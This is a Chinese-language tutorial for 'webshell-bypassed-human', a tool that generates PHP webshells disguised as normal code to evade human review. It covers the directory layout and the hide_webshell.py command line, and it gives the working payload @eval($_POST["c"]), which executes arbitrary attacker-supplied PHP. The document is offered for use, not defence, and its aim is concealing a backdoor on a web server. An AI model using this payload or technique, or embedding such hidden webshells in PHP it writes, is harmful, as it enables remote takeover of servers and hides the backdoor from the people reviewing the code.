过人 webshell 生成工具使用教程
1. 项目的目录结构及介绍
webshell-bypassed-human/
├── LICENSE
├── README.md
├── hide_webshell.py
├── normal.php
├── normal_pro.php
├── payload.txt
└── webshell_hidden.php
- LICENSE: 项目许可证文件,采用 Apache-2.0 许可证。
- README.md: 项目说明文档,包含项目的基本介绍和使用方法。
- hide_webshell.py: 核心脚本文件,用于生成隐藏的 webshell。
- normal.php: 普通模式的 PHP 代码文件。
- normal_pro.php: 专业模式的 PHP 代码文件。
- payload.txt: 存放 payload 的文件。
- webshell_hidden.php: 生成的隐藏 webshell 文件。
2. 项目的启动文件介绍
项目的启动文件是 hide_webshell.py
,它是一个 Python 脚本,用于生成隐藏的 webshell。以下是该文件的基本使用方法:
python hide_webshell.py -pf payload.txt --pro
-pf
或--payload_file
: 指定 payload 文件的路径。--pro
: 启用专业模式。
3. 项目的配置文件介绍
项目的配置文件主要是 payload.txt
,它用于存放生成 webshell 所需的 payload。以下是一个示例内容:
@eval($_POST["c"])
在 hide_webshell.py
脚本中,通过读取 payload.txt
文件中的内容,将其嵌入到生成的 webshell 中。
以上是关于 webshell-bypassed-human
项目的目录结构、启动文件和配置文件的介绍。希望这份教程能帮助你更好地理解和使用该项目。